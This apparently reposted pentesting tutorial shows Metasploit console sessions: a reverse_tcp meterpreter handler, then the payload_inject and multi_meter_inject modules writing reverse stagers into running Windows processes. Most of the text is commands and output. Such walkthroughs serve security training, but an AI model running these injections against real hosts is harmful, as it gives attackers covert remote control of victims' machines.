metasploit - [post/windows/manage/payload_inject] and [multi_meter_inject]

来源:互联网 发布:域名一定要公安备案吗 编辑:程序博客网 时间:2024/06/07 17:18

During pentesting, we need spawn a new metrepter session sometines. Now we will learn post/windows/manage/payload_inject and multi_meter_inject.


Set up a meterpreter listener

First, we need a meterpreter listener for connection.

msf exploit(handler) > set payload windows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcpmsf exploit(handler) > set LHOST 192.168.1.108LHOST => 192.168.1.108msf exploit(handler) > set LPORT 8888LPORT => 8888msf exploit(handler) > run[*] Started reverse handler on 192.168.1.108:8888 [*] Starting the payload handler...[*] Sending stage (882176 bytes) to 192.168.1.104[*] Meterpreter session 1 opened (192.168.1.108:8888 -> 192.168.1.104:1307) at 2015-04-19 03:21:31 +0000meterpreter > 

post/windows/manage/payload_inject

meterpreter > run post/windows/manage/payload_inject LHOST="192.168.1.108" LPORT="8888"[*] Running module against SECLAB[*] Performing Architecture Check[*] Process found checking Architecture[+] Process is the same architecture as the payload[*] Injecting Windows Meterpreter (Reflective Injection), Reverse TCP Stager into process ID 2400[*] Opening process 2400[*] Generating payload[*] Allocating memory in procees 2400[*] Allocated memory at address 0x00330000, for 281 byte stager[*] Writing the stager into memory...[+] Successfully injected payload in to process: 2400

multi_meter_inject

meterpreter > run multi_meter_inject -m -mp 3680 -mr 192.168.1.108 -p 10100 [-] Error in script: NoMethodError undefined method `datastore' for "windows/meterpreter/reverse_tcp":Stringmeterpreter > run multi_meter_inject -mp 3680 -mr 192.168.1.108 -p 10100 [*] Creating a reverse meterpreter stager: LHOST=192.168.1.108 LPORT=10100[*] Injecting meterpreter into process ID 3680[*] Allocated memory at address 0x008d0000, for 281 byte stager[*] Writing the stager into memory...[+] Successfully injected Meterpreter in to process: 3680

References

  1. http://www.darkoperator.com/blog/2011/12/16/injecting-payloads-into-memory-meterpreter.html
0 0
原创粉丝点击